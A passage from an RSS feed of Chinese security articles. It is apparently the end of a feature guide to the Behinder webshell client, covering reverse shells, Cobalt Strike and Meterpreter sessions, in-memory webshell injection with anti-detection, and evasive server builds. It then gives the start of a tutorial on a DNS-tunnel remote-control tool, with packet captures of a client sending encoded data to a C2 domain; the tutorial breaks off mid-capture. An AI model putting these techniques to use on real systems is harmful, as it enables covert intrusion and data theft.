src="https://wechat2rss.xlab.app/img-proxy/?k=1d566bc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9qKZhrmXIibbmOVrY9sib0S0d5Wtw2n0gf1xABsQqia08fFUiciclW8iaiaCMg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">来张动图：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5463821892393321" data-backh="316" data-type="gif" data-w="1078" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=d5bad0ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9e0Qz1nNibS60h37eE4ViatC5POmRTlr5gQib4tiaPqjD6temFdM8s9icWug%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当“IP地址”为127.0.0.1时，是否勾选“目标不出网”复选框没有区别。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至本地局域网</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当目标不出网时，可以降shell反弹至攻击者本机所在局域网中的其他机器，IP地址直接填内网地址（如192.168.0.100）即可，需要勾选“目标不出网”复选框。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Metepreter</h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至公网VPS</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">Metepreter的反弹和Shell类似，此处不再赘述，参数配置如下，其中msfconsole中相关的命令冰蝎已在提示框中给出示例，建议直接复制，避免写错payload导致上线异常：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.5505754088431254" data-backh="174" data-type="png" data-w="3302" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=380f324d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9sJ0DCUDUoLqH8CN6CbpGqXfh36N4L5ayyK39wquuat7OyqX48iclesA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至本地</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">参数配置如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.5431137724550898" data-backh="171" data-type="png" data-w="3340" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=a67132ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S92EmtxMlE9Jw9ZFIJoVksMlibBQ47Bb4ZgBNPjuI73Y2QCWXoqLSfaxg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">反弹至本地局域网</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当目标不出网时，可以降Metepreter反弹至攻击者本机所在局域网中的其他机器，IP地址直接填内网地址（如192.168.0.100）即可，需要勾选“目标不出网”复选框。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">CobaltStrike</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎支持Java和Aspx版本的CobaltStrike一键上线功能，采用windows/beacon_https/reverse_https上线方式。因为冰蝎采用注入JVM进程方式来植入代码，如果需要退出CobaltStrike会话，需先将CobaltStrike会话迁移至其他进程再退出，避免JVM进程停止。同样，CobaltStrike的一键上线也提供了两种方式，目标出网的情况下，可以直接上线至公网VPS，目标不出网的情况下，可以上线至攻击者本机CS Server或者攻击者本地局域网中的CobaltStrike Server。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">上线至公网VPS</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如需将目标上线至部署于VPS的CobaltStrike Server，“连接信息”中的“IP地址”直接填VPS的IP地址，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.23161033797216699" data-backh="73" data-type="png" data-w="2012" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=60b86f80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9Vxd5RWDWoTgFumDme6xer3y8LZibzaJRQG7zHgQOxAzUJ46mCP72Hdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">成功上线：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.10364583333333334" data-backh="33" data-type="png" data-w="3840" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=8d3ddb7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9brgXbEPwwiaMA9YK134WYAjYq0UqOMq2gWcpHqVxw29UBJEInmoyJNw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">上线至本地</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如果CobaltStrike Server搭建在本机，直接在“连接信息”中的“IP地址”栏填入“127.0.0.1”即可上线至本地。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">上线至本地局域网</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当目标不出网时，可以降CobaltStrike上线至攻击者本机所在局域网中的其他机器，IP地址直接填内网地址（如192.168.0.100）即可，需要勾选“目标不出网”复选框。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">数据库管理</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">数据库管理属于常规功能，目前支持SQL Server、MySQL、Oracle，当服务器环境为Java或者C#时，如果缺少对应的数据库管理库，冰蝎会自动上传并加载对应的库文件。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">另外，如果数据库连接密码中有特殊字符（如@符号），用URL编码一下即可（@编码之后为40%）。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">自定义代码</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎提供asp、c#、php、Java的自定义代码执行功能，文本框支持语法高亮，c#和Java会把输入的源代码自动编译并执行。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.7218344965104686" data-backh="228" data-type="png" data-w="2006" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=6e91fd92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9zpH58ibrMvGNOWnibDfHccTicvT0SXetl9hRtt5cfBricmib7Uvwx8crkUw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">平行空间</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该模块正在进行不同环境的适配，预计在v3.0正式版中启用。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">扩展功能</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该模块正在进行不同环境的适配，预计在v3.0正式版中启用。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">备忘录</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">备忘录模块提供对当前shell的一些临时文本信息进行存储。直接输入内容即可，冰蝎会自动保存。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">更新信息</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该模块展示冰蝎的更新日志、使用交流群二维码等，同时会不定期发布server端的一些免杀版本。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">内存马注入</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎采用基于Agent技术的Java内存马注入功能，目前支持Tomcat、Weblogic、Jboss。其中Tomcat和Jboss对内存马注入路径没有任何限制。Weblogic的内存马注入路径需要在真实存在的应用名称的路径下，比如<a href="http://xxx.com:7001/console/memshell，console即为应用名称不能直接注入到http://xxx.com:7001/memshell。" target="_blank">http://xxx.com:7001/console/memshell，console即为应用名称不能直接注入到http://xxx.com:7001/memshell。</a></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">另外，冰蝎还提供了内存马防检测功能，该功能会阻止其他Agent注入进当前JVM进程。当然注入内存马的时候如果开启该功能，冰蝎后续也无法再次注入内存马。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">小结</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">最初，我只是重写了几个版本的一句话木马（因为在冰蝎之前没有真正实现eval效果的Java一句话木马），同时提出了一套理论，用来绕过流量型防护设备，顺便写了个demo用来验证上述理论的效果。所以冰蝎这个客户端只是理论的一个衍生品，不过后来用的小伙伴比较多，我就继续把这个客户端更新了下去，希望大家不要太关注工具本身，而是能更多的去在理论上做一些创新。最后祝大家五一玩的开心。</p><p><br/></p>



<p><a href="2247484223">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f6d789ae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484223%26idx%3D1%26sn%3Daabcb049e1b34b2120afd118606d9822%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 30 Apr 2021 22:08:00 +0800</pubDate>
    </item>
    <item>
      <title>教你实现自己的DNS隧道远控</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483988&amp;idx=1&amp;sn=7b0ba64f2ea6a770d50d3ab64aa4d5da</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>游望之</span> <span>2021-01-05 11:34</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2683a803&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8wicVgo80eFVgjicTYyBKicWjicaYONbJx5G2gXy55bxKler3wSaMfhsavPPWQV7Ucia2MR0icxiawiaPHSw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2><strong>序</strong></h2><p>DNS隧道，通过设置NS记录和A记录控制子域名解析到我们指定的公网IP服务器地址，进而躲避内网日志监控系统、穿透内网的防火墙策略进行传输数据、远程控制，毕竟DNS查询请求与响应是众多服务都需要的基础功能，防火墙大多不会禁止。其基础知识本文不做详细介绍，读者可自行搜索。</p><h2><strong>程序设计</strong></h2><p>DNS远控分为client和server两端，client放置到内网靶机，接收并执行server的命令。server运行在公网VPS上，下发命令、收取数据和会话管理。</p><h3><strong>如何使用DNS协议传送有效载荷</strong></h3><p>已有的DNS隧道软件通常会使用A记录和Mail Exchange查询响应来携带数据，这里我选用更隐蔽的DNSSEC安全扩展中的Resource Record类型</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">client</span> <span class="code-snippet__string">-&gt; server: query DNSKEY, accept DNSSEC security RRs</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">server</span> <span class="code-snippet__string">-&gt; client: answer DNSKEY, publickey 可用来传输数据</span></span></code></pre></section><p><br/></p><p>一个真实DNS请求</p><pre data-info="" data-role="codeBlock"></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Frame</span> <span class="code-snippet__string">99: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) on interface \Device\NPF_{BC6B3107-2D7F-490A-963C-710BA04C6854}, id 0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Ethernet</span> <span class="code-snippet__string">II, Src: VMware_a2:2c:80 (00:0c:29:a2:2c:80), Dst: VMware_f6:9c:9e (00:50:56:f6:9c:9e)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Internet</span> <span class="code-snippet__string">Protocol Version 4, Src: 192.168.122.130, Dst: 192.168.122.2</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">User</span> <span class="code-snippet__string">Datagram Protocol, Src Port: 38569, Dst Port: 53</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Domain</span> <span class="code-snippet__string">Name System (query)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Transaction</span> <span class="code-snippet__string">ID: 0x32e9</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Flags</span>: <span class="code-snippet__string">0x0100 Standard query</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Questions</span>: <span class="code-snippet__string">1</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Answer</span> <span class="code-snippet__string">RRs: 0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Authority</span> <span class="code-snippet__string">RRs: 0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Additional</span> <span class="code-snippet__string">RRs: 1</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Queries</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span>: <span class="code-snippet__string">type DNSKEY, class IN</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Name</span>: <span class="code-snippet__string">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">[Name</span> <span class="code-snippet__string">Length: 49]</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">[Label</span> <span class="code-snippet__string">Count: 4]</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Type</span>: <span class="code-snippet__string">DNSKEY (DNS Public Key) (48)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Class</span>: <span class="code-snippet__string">IN (0x0001)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Additional</span> <span class="code-snippet__string">records</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">&lt;Root&gt;</span>: <span class="code-snippet__string">type OPT</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Name</span>: <span class="code-snippet__string">&lt;Root&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Type</span>: <span class="code-snippet__string">OPT (41)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">UDP</span> <span class="code-snippet__string">payload size: 4096</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Higher</span> <span class="code-snippet__string">bits in extended RCODE: 0x00</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">EDNS0</span> <span class="code-snippet__string">version: 0</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Z</span>: <span class="code-snippet__string">0x8000</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__meta">1...</span> <span class="code-snippet__string">.... .... .... = DO bit: Accepts DNSSEC security RRs</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__meta">.000</span> <span class="code-snippet__string">0000 0000 0000 = Reserved: 0x0000</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Data</span> <span class="code-snippet__string">length: 0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">[Response</span> <span class="code-snippet__string">In: 100]</span></span></code></pre></section><p><br/></p><p>client发送给server的数据还是存放在query的name字符串中，域名中的每一个标签（逗号分隔）限制最大长度为63字节，整个域名的长度不超过255字节。这里是</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span></code></pre></section><pre data-info="" data-role="codeBlock"><code><br/></code></pre><p>jXD/Bv8AAAAMSEFMTxxKAABf8s5i就是要传送的数据了，是经过base64编码的，编码后最大63字节，那也就是说明文最大45字节，即client一个请求只能最多携带45字节数据到server。而server-&gt;client即DNS响应使用publickey传输数据，可传输最多437字节（实际测试得出）。该请求的响应如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Frame</span> <span class="code-snippet__string">100: 189 bytes on wire (1512 bits), 189 bytes captured (1512 bits) on interface \Device\NPF_{BC6B3107-2D7F-490A-963C-710BA04C6854}, id 0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Ethernet</span> <span class="code-snippet__string">II, Src: VMware_f6:9c:9e (00:50:56:f6:9c:9e), Dst: VMware_a2:2c:80 (00:0c:29:a2:2c:80)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Internet</span> <span class="code-snippet__string">Protocol Version 4, Src: 192.168.122.2, Dst: 192.168.122.130</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">User</span> <span class="code-snippet__string">Datagram Protocol, Src Port: 53, Dst Port: 38569</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Domain</span> <span class="code-snippet__string">Name System (response)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Transaction</span> <span class="code-snippet__string">ID: 0x32e9</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Flags</span>: <span class="code-snippet__string">0x8180 Standard query response, No error</span></span></code><code><span 